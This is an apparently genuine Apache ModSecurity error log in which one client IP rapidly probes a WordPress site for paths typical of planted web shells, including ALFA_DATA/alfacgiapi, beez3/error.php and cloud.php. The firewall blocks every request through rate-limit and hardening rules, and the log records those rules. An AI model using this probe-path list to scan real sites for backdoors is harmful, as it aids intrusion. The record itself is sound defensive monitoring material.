[Tue Nov 25 20:57:32.581918 2025] [:error] [pid 43981:tid 44003] [client 4.206.153.235:63606] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/.well-known/admin.php"] [unique_id "aSWnvAgZn97m_qh_RaFZEAAAAxQ"]
[Tue Nov 25 20:57:33.001750 2025] [:error] [pid 14077:tid 14123] [client 4.206.153.235:59400] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/.well-known/admin.php"] [unique_id "aSWnvRG9n7UHEkwDTyi8mgAAAE0"]
[Tue Nov 25 20:57:33.500962 2025] [:error] [pid 14076:tid 14096] [client 4.206.153.235:63509] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/tinymce/langs/"] [unique_id "aSWnvXsB4Gz6Qw-pvBsv9gAAAA8"]
[Tue Nov 25 20:57:33.967942 2025] [:error] [pid 14076:tid 14099] [client 4.206.153.235:63523] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/tinymce/langs/"] [unique_id "aSWnvXsB4Gz6Qw-pvBsv9wAAABI"]
[Tue Nov 25 20:57:34.394931 2025] [:error] [pid 14078:tid 14155] [client 4.206.153.235:59477] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/tinymce/langs/"] [unique_id "aSWnvtVXYbb0ii_rVoJktQAAAJI"]
[Tue Nov 25 20:57:34.897685 2025] [:error] [pid 14078:tid 14141] [client 4.206.153.235:63558] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/tinymce/langs/"] [unique_id "aSWnvtVXYbb0ii_rVoJktwAAAIQ"]
[Tue Nov 25 20:57:35.378869 2025] [:error] [pid 43843:tid 43855] [client 4.206.153.235:59485] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/templates/beez3/error.php"] [unique_id "aSWnvxhx4v3NUNdMKDPo6QAAAco"]
[Tue Nov 25 20:57:35.855127 2025] [:error] [pid 14168:tid 14190] [client 4.206.153.235:59466] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/templates/beez3/error.php"] [unique_id "aSWnv_R-ZDU0QEgAIIt_ZgAAANM"]
[Tue Nov 25 20:57:36.357678 2025] [:error] [pid 14076:tid 14088] [client 4.206.153.235:63594] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/templates/beez3/error.php"] [unique_id "aSWnwHsB4Gz6Qw-pvBsv-QAAAAc"]
[Tue Nov 25 20:57:36.782835 2025] [:error] [pid 14078:tid 14157] [client 4.206.153.235:63590] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/templates/beez3/error.php"] [unique_id "aSWnwNVXYbb0ii_rVoJkuwAAAJQ"]
[Tue Nov 25 20:57:37.305393 2025] [:error] [pid 2987:tid 3004] [client 4.206.153.235:63543] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/goods.php"] [unique_id "aSWnwc-djEt-pTzPxny8wwAAAU8"]
[Tue Nov 25 20:57:37.722758 2025] [:error] [pid 2987:tid 3007] [client 4.206.153.235:59398] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/goods.php"] [unique_id "aSWnwc-djEt-pTzPxny8xAAAAVI"]
[Tue Nov 25 20:57:38.137092 2025] [:error] [pid 28836:tid 28964] [client 4.206.153.235:59457] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/goods.php"] [unique_id "aSWnwpwNRsoxcLQGkTfaxwAAAsk"]
[Tue Nov 25 20:57:38.592856 2025] [:error] [pid 43981:tid 43984] [client 4.206.153.235:59467] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/goods.php"] [unique_id "aSWnwggZn97m_qh_RaFZFQAAAwE"]
[Tue Nov 25 20:57:39.010279 2025] [:error] [pid 2987:tid 2990] [client 4.206.153.235:63513] [client 4.206.153.235] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/autoload_classmap.php"] [unique_id "aSWnw8-djEt-pTzPxny8xQAAAUE"]
[Tue Nov 25 20:57:39.439518 2025] [:error] [pid 14168:tid 14182] [client 4.206.153.235:59484] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/css/colors/midnight/"] [unique_id "aSWnw_R-ZDU0QEgAIIt_aAAAAMs"]
[Tue Nov 25 20:57:39.853967 2025] [:error] [pid 28739:tid 28766] [client 4.206.153.235:59420] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/css/colors/midnight/"] [unique_id "aSWnwxxGpKmlkG4FexSVSQAAAgQ"]
[Tue Nov 25 20:57:40.268519 2025] [:error] [pid 14078:tid 14159] [client 4.206.153.235:59471] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/css/colors/midnight/"] [unique_id "aSWnxNVXYbb0ii_rVoJkwwAAAJY"]
[Tue Nov 25 20:57:40.694931 2025] [:error] [pid 28609:tid 28642] [client 4.206.153.235:63512] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/css/colors/midnight/"] [unique_id "aSWnxCGGdT-nZJVs3x3cRQAAAZg"]
[Tue Nov 25 20:57:41.109082 2025] [:error] [pid 14168:tid 14187] [client 4.206.153.235:63510] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/1.php"] [unique_id "aSWnxfR-ZDU0QEgAIIt_bAAAANA"]
[Tue Nov 25 20:57:41.522061 2025] [:error] [pid 43843:tid 43854] [client 4.206.153.235:63524] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/1.php"] [unique_id "aSWnxRhx4v3NUNdMKDPo7AAAAck"]
[Tue Nov 25 20:57:41.935757 2025] [:error] [pid 14076:tid 14103] [client 4.206.153.235:63597] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/1.php"] [unique_id "aSWnxXsB4Gz6Qw-pvBsv_wAAABY"]
[Tue Nov 25 20:57:42.347758 2025] [:error] [pid 43843:tid 43855] [client 4.206.153.235:63516] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/1.php"] [unique_id "aSWnxhhx4v3NUNdMKDPo8AAAAco"]
[Tue Nov 25 20:57:42.758785 2025] [:error] [pid 43843:tid 43865] [client 4.206.153.235:63569] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/js/widgets/cloud.php"] [unique_id "aSWnxhhx4v3NUNdMKDPo9wAAAdQ"]
[Tue Nov 25 20:57:43.170958 2025] [:error] [pid 28609:tid 28640] [client 4.206.153.235:59397] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/js/widgets/cloud.php"] [unique_id "aSWnxyGGdT-nZJVs3x3cSAAAAZY"]
[Tue Nov 25 20:57:43.596826 2025] [:error] [pid 43843:tid 43847] [client 4.206.153.235:59476] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/js/widgets/cloud.php"] [unique_id "aSWnxxhx4v3NUNdMKDPpAAAAAcI"]
[Tue Nov 25 20:57:44.009084 2025] [:error] [pid 28609:tid 28632] [client 4.206.153.235:63562] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/js/widgets/cloud.php"] [unique_id "aSWnyCGGdT-nZJVs3x3cSwAAAY4"]
[Tue Nov 25 20:57:44.422512 2025] [:error] [pid 28609:tid 28641] [client 4.206.153.235:63604] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/index/function.php"] [unique_id "aSWnyCGGdT-nZJVs3x3cTQAAAZc"]
[Tue Nov 25 20:57:44.834979 2025] [:error] [pid 43843:tid 43860] [client 4.206.153.235:59503] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/index/function.php"] [unique_id "aSWnyBhx4v3NUNdMKDPpAQAAAc8"]
[Tue Nov 25 20:57:45.247996 2025] [:error] [pid 28739:tid 28768] [client 4.206.153.235:63610] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/index/function.php"] [unique_id "aSWnyRxGpKmlkG4FexSVTAAAAgY"]
[Tue Nov 25 20:57:45.659530 2025] [:error] [pid 28739:tid 28783] [client 4.206.153.235:59395] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/index/function.php"] [unique_id "aSWnyRxGpKmlkG4FexSVTQAAAhU"]
[Tue Nov 25 20:57:46.070930 2025] [:error] [pid 14076:tid 14089] [client 4.206.153.235:63542] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/about/function.php"] [unique_id "aSWnynsB4Gz6Qw-pvBswAQAAAAg"]
[Tue Nov 25 20:57:46.483927 2025] [:error] [pid 28739:tid 28786] [client 4.206.153.235:63534] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/about/function.php"] [unique_id "aSWnyhxGpKmlkG4FexSVUQAAAhg"]
[Tue Nov 25 20:57:46.895228 2025] [:error] [pid 14076:tid 14095] [client 4.206.153.235:63529] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/about/function.php"] [unique_id "aSWnynsB4Gz6Qw-pvBswAgAAAA4"]
[Tue Nov 25 20:57:47.308184 2025] [:error] [pid 28836:tid 28968] [client 4.206.153.235:59427] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/about/function.php"] [unique_id "aSWny5wNRsoxcLQGkTfazAAAAs0"]
[Tue Nov 25 20:57:47.719850 2025] [:error] [pid 2987:tid 3011] [client 4.206.153.235:63499] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/functions.php"] [unique_id "aSWny8-djEt-pTzPxny83wAAAVY"]
[Tue Nov 25 20:57:48.147737 2025] [:error] [pid 28739:tid 28777] [client 4.206.153.235:59393] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/functions.php"] [unique_id "aSWnzBxGpKmlkG4FexSVVgAAAg8"]
[Tue Nov 25 20:57:48.572048 2025] [:error] [pid 28836:tid 29010] [client 4.206.153.235:63583] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/functions.php"] [unique_id "aSWnzJwNRsoxcLQGkTfazgAAAtQ"]
[Tue Nov 25 20:57:48.985915 2025] [:error] [pid 43843:tid 43856] [client 4.206.153.235:59519] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/functions.php"] [unique_id "aSWnzBhx4v3NUNdMKDPpBgAAAcs"]
[Tue Nov 25 20:57:49.400844 2025] [:error] [pid 28739:tid 28766] [client 4.206.153.235:59408] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/js/widgets/index.php"] [unique_id "aSWnzRxGpKmlkG4FexSVWQAAAgQ"]
[Tue Nov 25 20:57:49.824149 2025] [:error] [pid 28609:tid 28633] [client 4.206.153.235:63585] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/js/widgets/index.php"] [unique_id "aSWnzSGGdT-nZJVs3x3cVwAAAY8"]
[Tue Nov 25 20:57:50.248630 2025] [:error] [pid 2987:tid 2994] [client 4.206.153.235:59487] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/js/widgets/index.php"] [unique_id "aSWnzs-djEt-pTzPxny84QAAAUU"]
[Tue Nov 25 20:57:50.660362 2025] [:error] [pid 14077:tid 14126] [client 4.206.153.235:63539] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/js/widgets/index.php"] [unique_id "aSWnzhG9n7UHEkwDTyi8rgAAAFA"]
[Tue Nov 25 20:57:51.080481 2025] [:error] [pid 28836:tid 29009] [client 4.206.153.235:59505] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ALFA_DATA/alfacgiapi/"] [unique_id "aSWnz5wNRsoxcLQGkTfa0wAAAtM"]
[Tue Nov 25 20:57:51.491732 2025] [:error] [pid 28739:tid 28768] [client 4.206.153.235:59492] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ALFA_DATA/alfacgiapi/"] [unique_id "aSWnzxxGpKmlkG4FexSVWwAAAgY"]
[Tue Nov 25 20:57:51.905623 2025] [:error] [pid 14078:tid 14154] [client 4.206.153.235:59405] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ALFA_DATA/alfacgiapi/"] [unique_id "aSWnz9VXYbb0ii_rVoJk7wAAAJE"]
[Tue Nov 25 20:57:52.327019 2025] [:error] [pid 43843:tid 43851] [client 4.206.153.235:63537] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ALFA_DATA/alfacgiapi/"] [unique_id "aSWn0Bhx4v3NUNdMKDPpBwAAAcY"]
[Tue Nov 25 20:57:52.739802 2025] [:error] [pid 2987:tid 2990] [client 4.206.153.235:59414] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/js/about.php"] [unique_id "aSWn0M-djEt-pTzPxny84wAAAUE"]
[Tue Nov 25 20:57:53.168840 2025] [:error] [pid 14078:tid 14141] [client 4.206.153.235:59516] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/js/about.php"] [unique_id "aSWn0dVXYbb0ii_rVoJk9AAAAIQ"]
[Tue Nov 25 20:57:53.583998 2025] [:error] [pid 14168:tid 14194] [client 4.206.153.235:63549] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/js/about.php"] [unique_id "aSWn0fR-ZDU0QEgAIIt_gAAAANc"]
[Tue Nov 25 20:57:53.996156 2025] [:error] [pid 43981:tid 43993] [client 4.206.153.235:59394] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/js/about.php"] [unique_id "aSWn0QgZn97m_qh_RaFZHgAAAwo"]
[Tue Nov 25 20:57:54.409914 2025] [:error] [pid 43843:tid 43862] [client 4.206.153.235:63548] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/css/"] [unique_id "aSWn0hhx4v3NUNdMKDPpCgAAAdE"]
[Tue Nov 25 20:57:54.826825 2025] [:error] [pid 14168:tid 14177] [client 4.206.153.235:59413] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/css/"] [unique_id "aSWn0vR-ZDU0QEgAIIt_gQAAAMY"]
[Tue Nov 25 20:57:55.239181 2025] [:error] [pid 14168:tid 14184] [client 4.206.153.235:56271] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/css/"] [unique_id "aSWn0_R-ZDU0QEgAIIt_gwAAAM0"]
